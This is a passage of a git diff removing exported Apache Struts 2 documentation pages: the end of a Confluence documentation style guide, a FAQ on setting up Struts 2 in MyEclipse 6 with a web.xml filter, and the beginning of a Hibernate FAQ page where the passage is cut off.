-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>Shortcut </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Purpose </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Usage </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Result </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p>primer</p></td><td colspan="1" rowspan="1" class="confluenceTd"><p> A bookmark in our Ke [...]
-
-
-<h2 id="DocumentationStyleGuide-AboutHeadings">About Headings</h2>
-
-<p><img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/information.png" data-emoticon-name="information" alt="(info)"> This section refers to: <a shape="rect" class="external-link" href="http://cwiki.apache.org/confluence/renderer/notationhelp.action?section=headings">Notation Guide &gt;&gt; Headings</a>.</p>
-
-<h3 id="DocumentationStyleGuide-Abouth1">About h1</h3>
-
-<p>Don't use <code>h1.</code> at the top of each page. The page title serves as the "top level header". This is not as obvious online, but it is very apparent when the documentation is exported to HTML or PDF.</p>
-
-<p>Try to start each page with some introductory text, to separate the page title from the rest of content.</p>
-
-<p>Likewise, try to have some content between all page headings. Avoid placing headings one after the other.</p>
-
-<h3 id="DocumentationStyleGuide-Documentsections">Document sections</h3>
-
-<p>Headings can help you divide your document in sections, subsections, sub-subsections and so forth.</p>
-
-<h4 id="DocumentationStyleGuide-Advantages">Advantages</h4>
-
-<p>Your document becomes more organized.</p>
-
-<h4 id="DocumentationStyleGuide-Disadvantages">Disadvantages</h4>
-
-<p>Too many headings can fragment the text.</p>
-<div class="confluence-information-macro confluence-information-macro-warning"><p class="title">Here we go again!</p><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>This segment is an example of overusing headings. This whole "Headings" section has so few paragraphs that it really should have been written in just one section. The "advantages" and "disadvantages" would be just as easy to render as a table.</p></div></div>
-
-<h3 id="DocumentationStyleGuide-Headingscapitalization">Headings capitalization</h3>
-
-<p>Try to use initial capitals for <code>h1</code> and <code>h2</code> headers.</p>
-
-<p>For <code>h3</code> and smaller headings, try to capitalize only the first word, and any proper nouns.</p>
-
-<p>By using different capitalization styles, we emphasize the importance of bigger headings.</p>
-
-<h3 id="DocumentationStyleGuide-Avoidskippingheaders">Avoid skipping headers</h3>
-
-<p>The headers form an outline for the page. When writing term papers, it is not a good practice to skip outline levels. When writing hypertext, it is not a good practice to skip heading levels either. Try not to skip from a <code>h2</code> to a <code>h4</code>.</p>
-<div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Too many headings?</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>If you find yourself writing too many <code>h2</code> headings in a single page, consider breaking the page into child pages.</p></div></div>
-
-<h2 id="DocumentationStyleGuide-MoreonTextEffects">More on Text Effects</h2>
-
-<p><img class="emoticon emoticon-yellow-star" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/star_yellow.png" data-emoticon-name="yellow-star" alt="(star)"> This section refers to: <a shape="rect" class="external-link" href="http://cwiki.apache.org/confluence/renderer/notationhelp.action?section=texteffects">Notation Guide &gt;&gt; Text Effects</a>.</p>
-
-<p>Text effects like <strong>strong</strong>, <em>emphasis</em>, and <span style="text-decoration: underline;">inserted</span> can be used in the usual way to denote important parts of a sentence.</p>
-
-<p><code>Monospaced</code> should be used to files, tags, and methods, like <code>struts.xml</code>, <code>&lt;xmltag /&gt;</code>, and <code>execute</code>. Class and Interface names may be left in normal face, like Action and Interceptor.</p>
-
-<p>A panel should be preferred to a block quote.</p>
-
-<p>The color fonts should be avoided or used only with great care. Some people have difficulty seeing some colors, and the colors may not be apparent if the page is printed.</p>
-
-<h2 id="DocumentationStyleGuide-TextBreaks">Text Breaks</h2>
-
-<p><img class="emoticon emoticon-yellow-star" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/star_yellow.png" data-emoticon-name="yellow-star" alt="(star)"> This section refers to: <a shape="rect" class="external-link" href="http://cwiki.apache.org/confluence/renderer/notationhelp.action?section=breaks">Notation Guide &gt;&gt; Text Breaks</a>.</p>
-
-<p>Text breaks should not be used to format blocks on the screen. If there is an issue with the way paragraphs or headings are being rendered, we should customize the stylesheet.</p>
-
-<h2 id="DocumentationStyleGuide-Lists">Lists</h2>
-
-<p><img class="emoticon emoticon-yellow-star" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/star_yellow.png" data-emoticon-name="yellow-star" alt="(star)"> This section refers to: <a shape="rect" class="external-link" href="http://cwiki.apache.org/confluence/renderer/notationhelp.action?section=lists">Notation Guide &gt;&gt; Lists</a>.</p>
-
-<p>Unordered lists should be created only with the <code>*</code> (star) notation.</p>
-
-<p>Ordered list should be used when numbering the items is important. Otherwise, prefer unordered lists.</p>
-<ul><li>This is an unordered list in star notation;</li><li>Items can have sub-items
-	<ul><li>That can have sub-items
-		<ul><li>That can have sub-items ...
-			<ul><li>What is the limit?</li></ul>
-			</li></ul>
-		</li></ul>
-	</li><li>Mixing ordered and unordered lists is possible:
-	<ol><li>One;</li><li>Two;</li><li>Three.</li></ol>
-	</li></ul>
-
-
-<h2 id="DocumentationStyleGuide-Images">Images</h2>
-
-<p><img class="emoticon emoticon-yellow-star" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/star_yellow.png" data-emoticon-name="yellow-star" alt="(star)"> This section refers to: <a shape="rect" class="external-link" href="http://cwiki.apache.org/confluence/renderer/notationhelp.action?section=images">Notation Guide &gt;&gt; Images</a> and <a shape="rect" class="external-link" href="http://cwiki.apache.org/confl [...]
-
-<p>Avoid using external images for bullets or icons. Prefer the equivalents provided with Confluence.</p>
-
-<p>Images can be included by URL or annexing the binary to the page. Prefer annexing when possible, since URLs are subject to change.</p>
-
-<p>Always observe copyright issues. Do not annex images unless it an original or public domain work, or the author has donated the image to the foundation.</p>
-
-<p>Example: <span class="confluence-embedded-file-wrapper"><img class="confluence-embedded-image confluence-external-resource" src="http://struts.apache.org/images/struts-power.gif" data-image-src="http://struts.apache.org/images/struts-power.gif"></span></p>
-
-<h2 id="DocumentationStyleGuide-Icons">Icons</h2>
-
-<p>Use <img class="emoticon emoticon-information" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/information.png" data-emoticon-name="information" alt="(info)">, <img class="emoticon emoticon-question" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/help_16.png" data-emoticon-name="question" alt="(question)">, <img class="emoticon emoticon-w [...]
-
-<p>Used carefully, icons can make the content easier to read and understand.</p>
-
-<p>However, if icons are overused, they lose impact (and can make a page look like a ransom note).</p>
-
-<p>Casual icons like <img class="emoticon emoticon-smile" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/smile.png" data-emoticon-name="smile" alt="(smile)"> and <img class="emoticon emoticon-thumbs-up" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/thumbs_up.png" data-emoticon-name="thumbs-up" alt="(thumbs up)"> should be used with care or [...]
-
-<h2 id="DocumentationStyleGuide-Tables">Tables</h2>
-
-<p><img class="emoticon emoticon-yellow-star" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/star_yellow.png" data-emoticon-name="yellow-star" alt="(star)"> This section refers to: <a shape="rect" class="external-link" href="http://cwiki.apache.org/confluence/renderer/notationhelp.action?section=tables">Notation Guide &gt;&gt; Tables</a>.</p>
-
-<p>Prefer lists for single-value entries. Prefer tables for lists with multiple columns.</p>
-
-<p>Tables are very useful when lists just don't do it. Meaning: don't write a table when a list suffices. Tables are more organized, because you can align the text in columns. Since the markup text for tables in Confluence is not easy to read, complex and big tables can be hard to maintain.</p>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> File </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Optional </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Location (relative to webapp) </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Purpose </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <a shape="rect" href="webxml.html">web.xml</a> </p></td><td cols [...]
-
-
-<h2 id="DocumentationStyleGuide-AdvancedFormatting">Advanced Formatting</h2>
-
-<p><img class="emoticon emoticon-yellow-star" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/star_yellow.png" data-emoticon-name="yellow-star" alt="(star)"> This section refers to: <a shape="rect" class="external-link" href="http://cwiki.apache.org/confluence/renderer/notationhelp.action?section=advanced">Notation Guide &gt;&gt; Advanced Formatting</a>.</p>
-
-<p>Panels should be used as needed. Try to select the right panel for the content.</p>
-
-<p>Try to give all panels and {code} blocks meaningful titles. People scan the pages looking for likely tips and examples.</p>
-
-<p>Avoid generic titles like "Warning" or "Example". Style the headings like they were h3. or smaller.</p>
-
-<p>When a panel contains a file or a class, the panel title should refer to the filename or classname.</p>
-
-<p>Try to specify the language for {code} blocks.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>HelloWorld.java</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-/** Hello World class. */
-public class HelloWorld {
-  /** Main method. */
-  public static void main(String[] args) {
-    System.out.println("Hello, World!");
-  }
-}
-</pre>
-</div></div>
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Try to use <a shape="rect" href="documentation-style-guide.html">snippets</a> for code blocks whenever possible!</p>
-
-<p>Avoid tabs in code blocks, use two spaces instead. Long lines should be formatted to fit in a 800x600 resolution screen, without resorting to horizontal scrolling.</p>
-
-<p>A typical example of <code>noformat</code> would be the command line statements to compile and run the code above.</p>
-
-<p>Either the code or noformat block can be used to represent command line windows. The terminal notation ({$}} should be used to represent a system prompt.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Compiling and Running Hello World</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-$ javac HelloWorld.java
-
-$ java HelloWorld
-Hello, World!
-</pre>
-</div></div>
-
-<h2 id="DocumentationStyleGuide-ChangeHappens">Change Happens</h2>
-
-<p>Anyone who has worked with databases knows the value of normalizing the schema. Ideally, we want to store each fact exactly once, and then use query system to retrieve that fact whereever it is needed. If we store a fact once, we only need to update it once, and we avoid inconsistencies in our data set.</p>
-
-<p>To the extent possible, we want to "normalize" our technical documentation. Like a database, all technical documentation is subject to change. When change happens, we want the documentation to be as easy to update as possible. One way to do that is to try and minimize redundancy (without sacrificing ease of use).</p>
-
-<h3 id="DocumentationStyleGuide-Singlesourcingwithsnippets">Single sourcing with snippets</h3>
-
-<p>The "holy grail" of technical documentation is <a shape="rect" class="external-link" href="http://en.wikipedia.org/wiki/Single_source_publishing" rel="nofollow">single sourcing</a>. One way we try to single-source documentation is to pull content directly from the <a shape="rect" class="external-link" href="http://en.wikipedia.org/wiki/Javadoc" rel="nofollow">Javadocs</a> and source code into the documentation.</p>
-
-<p>Using a <strong><a shape="rect" class="external-link" href="http://confluence.atlassian.com/display/CONFEXT/Snippet+Plugin" rel="nofollow">snippet macro</a></strong>, we are able to tag portions of any file for reuse. The macro fetches those snippets from a repository and merges the content into the documentation.</p>
-<div class="confluence-information-macro confluence-information-macro-tip"><p class="title">Use the Source!</p><span class="aui-icon aui-icon-small aui-iconfont-approve confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Before writing any new content, ask yourself if we could place the content in the repository in either one of the example applications or the Javadocs. Rather than contrive an example, can you pull a snippet from one of the applications? Rather than reiterate Javadoc, could we update the Javadoc and make it a snippet? It is preferable to use snippets from the Struts example apps over Javadoc snippets for anything except plain text content as this ensures that the content's syntax has  [...]
-
-
-<h3 id="DocumentationStyleGuide-Examplesnippetusage">Example snippet usage</h3>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snippet usage example</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-{snippet:id=example|lang=xml|javadoc=true|url=struts2/core/src/main/java/org/apache/struts2/components/If.java}
-</pre>
-</div></div>
-
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p>&#160;</p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Snippet Attributes </p></th></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> id </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> The <em>name</em> of the snippet (optional - defaults to "all", meaning the entire file). </p></td></tr><tr><th colspan="1" rowspan="1" class="confluen [...]
-
-<p>All snippets are marked off by the pattern <code>START SNIPPET: XXX</code> and <code>END SNIPPET: XXX</code> where <code>XXX</code> is the <code>name</code> of the snippet that is assigned in the <code>id</code> attribute of the macro. The URL is typically a location that points to the project's source control contents. |</p>
-
-<h3 id="DocumentationStyleGuide-AboutURLs">About URLs</h3>
-
-<p>A URL must start with a valid prefix. There are two types of prefixes:</p>
-<ul><li><strong>com.opensymphony.xwork2.</strong> Notice the period. This syntax is better when you want to include content from a class because they allow you to use the fully qualified classname as the URL.</li><li><strong>struts2/</strong> Notice the trailing slash. This syntax better when you want to include content content from non-class files such as xml or properties files. They may also be needed if a class based prefix for a sub-project has not be setup.</li></ul>
-
-
-<p>To include a snippet from <a shape="rect" class="external-link" href="http://svn.apache.org/repos/asf/struts/struts2/trunk/apps/showcase/src/main/java/org/apache/struts2/showcase/DateAction.java">http://svn.apache.org/repos/asf/struts/struts2/trunk/apps/showcase/src/main/java/org/apache/struts2/showcase/DateAction.java</a> the two possible methods are:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-{snippet:lang=java|url=struts2/apps/showcase/src/main/java/org/apache/struts2/showcase/DateAction.java}
-{snippet:lang=java|url=struts2/apps.showcase.src.main.java.org.apache.struts2.showcase.DateAction}
-</pre>
-</div></div>
-
-<p>To include a snippet from  <a shape="rect" class="external-link" href="https://svn.apache.org/repos/asf/struts/struts2/trunk/xwork-core/src/main/java/com/opensymphony/xwork2/validator/validators/StringLengthFieldValidator.java">https://svn.apache.org/repos/asf/struts/struts2/trunk/xwork-core/src/main/java/com/opensymphony/xwork2/validator/validators/StringLengthFieldValidator.java</a> the two possible methods are:</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-{snippet:id=javadoc|javadoc=true|url=com.opensymphony.xwork2.validator.validators.StringLengthFieldValidator}
-{snippet:id=javadoc|javadoc=true|url=com.opensymphony.xwork2.validator/validators/StringLengthFieldValidator.java}
-</pre>
-</div></div>
-
-<p>The list of available prefixes:</p>
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Prefix </p></th><th colspan="1" rowspan="1" class="confluenceTh"><p> Destination </p></th></tr><tr><td colspan="1" rowspan="1" class="confluenceTd"><p> <strong>xwork2/</strong> </p></td><td colspan="1" rowspan="1" class="confluenceTd"> <a shape="rect" class="external-link" href="http://svn.apache.org/repos/asf/struts/struts2/trunk/xwork-core/src/main/java/">http://svn.ap [...]
-
-
-
-<h3 id="DocumentationStyleGuide-Aboutsnippetmarkers">About snippet markers</h3>
-
-<p>When possible, all snippet markers should be in comment blocks. How they are commented depends on where the snippet is being embedded.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Commenting HTML or XML snippets</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;!-- START SNIPPET: xxx --&gt;
-...
-&lt;!-- END SNIPPET: xxx --&gt;
-</pre>
-</div></div>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Commenting snippets in Java code</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-if (true != false) {
-    // START SNIPPET: xxx
-    System.out.println("This is some silly code!");
-    // END SNIPPET: xxx
-}
-</pre>
-</div></div>
-
-<p>If the snippet is embedded within Javadoc comments use HTML comments to declare the snippet as they won't render in the Javadocs.</p>
-
-<p>When using the <code>&lt;pre&gt;</code> tag within Javadoc comments embed the snippet markers <em>inside</em> the <code>&lt;pre&gt;</code> tag.</p>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Snipping XML examples from Javadoc content</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: plain; gutter: false; theme: Default" style="font-size:12px;">
-* &lt;pre&gt;
-* &lt;!-- START SNIPPET: example --&gt;
-* &amp;lt;!-- records only the action's execution time --&amp;gt;
-* &amp;lt;action name="someAction" class="com.examples.SomeAction"&amp;gt;
-*     &amp;lt;interceptor-ref name="completeStack"/&amp;gt;
-*     &amp;lt;interceptor-ref name="timer"/&amp;gt;
-*     &amp;lt;result name="success"&amp;gt;good_result.ftl&amp;lt;/result&amp;gt;
-* &amp;lt;/action&amp;gt;
-* &lt;!-- END SNIPPET: example --&gt;
-* &lt;/pre&gt;
-</pre>
-</div></div>
-
-<p>A <code>&lt;pre&gt;</code> tag within a Javadoc comment would be escaped and rendered as part of the snippet. See <a shape="rect" class="external-link" href="https://svn.apache.org/repos/asf/struts/struts2/trunk/xwork-core/src/main/java/com/opensymphony/xwork2/interceptor/TimerInterceptor.java">TimerInterceptor.java</a> for an complete example.</p>
-
-<h2 id="DocumentationStyleGuide-Back:">Back: <a shape="rect" href="contributors-guide.html">Contributors Guide</a></h2></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/does-myeclipse-6-support-struts-2.html b/content/docs/does-myeclipse-6-support-struts-2.html
deleted file mode 100644
index 3516c92..0000000
--- a/content/docs/does-myeclipse-6-support-struts-2.html
+++ /dev/null
@@ -1,197 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Does MyEclipse 6 support Struts 2?</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="does-myeclipse-6-support-struts-2.html">Does MyEclipse 6 support Struts 2?</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Does MyEclipse 6 support Struts 2?</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=75019">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=75019">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=75019">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=75019">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=75019">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=75019">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>MyEclipse 6 is a great platform. Everything you need to develop enterprise-grade applications is in a single download, including a web container, (Tomcat), DBMS (Derby), Data Access Library (Hibernate), Dependency Injection System (Spring), and your choice of web application frameworks, such as Struts 1 and Tapestry. Even the Java runtime is included in the same download. And, since it's Eclipse, we can run it all in place, without tweaking any  [...]
-
-<p>MyEclipse may be an all-one-download, but we can still install any other Eclipse plugins that we might want to use. And, we can also install other frameworks, like Struts 2.</p>
-
-<p>The simplest approach is to create a web application project in the usual way. Then, drag and drop the necessary Struts 2 dependencies into the WEB-INF folder that MyEclipse will create. The needed JARs are:</p>
-
-<ul><li>struts2-core</li><li>xwork2</li><li>freemarker</li><li>ognl</li><li>commons-logging</li></ul>
-
-
-<p>The commons-logging JAR is optional, but it helps. The versions will vary depending on which release of Struts 2 is being used. Just use whatever is provided in the Struts 2 lib distribution. (But not everything that is in the distribution!)</p>
-
-<p>The one other step is to configure the web.xml to load the Struts filter. MyEclipse will create a starter web.xml. Just change it to look like this:</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<pre class="brush: java; gutter: false; theme: Default" style="font-size:12px;">
-&lt;?xml version="1.0" encoding="UTF-8"?&gt;
-&lt;web-app version="2.5"
-       xmlns="http://java.sun.com/xml/ns/javaee"
-       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-       xsi:schemaLocation="http://java.sun.com/xml/ns/javaee
-       http://java.sun.com/xml/ns/javaee/web-app_2_5.xsd"&gt;
-
-       &lt;filter&gt;
-       &lt;filter-name&gt;
-               struts2
-       &lt;/filter-name&gt;
-       &lt;filter-class&gt;
-               org.apache.struts2.dispatcher.FilterDispatcher
-       &lt;/filter-class&gt;
-       &lt;/filter&gt;
-   &lt;filter-mapping&gt;
-       &lt;filter-name&gt;
-               struts2
-       &lt;/filter-name&gt;
-       &lt;url-pattern&gt;
-               /*
-       &lt;/url-pattern&gt;
-   &lt;/filter-mapping&gt;
-   &lt;welcome-file-list&gt;
-       &lt;welcome-file&gt;index.html&lt;/welcome-file&gt;
-   &lt;/welcome-file-list&gt;
-&lt;/web-app&gt;
-</pre>
-</div></div>
-
-<p>And that's it! Welcome to Struts 2 and MyEclipse 6!</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/does-the-framework-integrate-with-hibernate.html b/content/docs/does-the-framework-integrate-with-hibernate.html
deleted file mode 100644
index 694d499..0000000
--- a/content/docs/does-the-framework-integrate-with-hibernate.html
+++ /dev/null
@@ -1,145 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
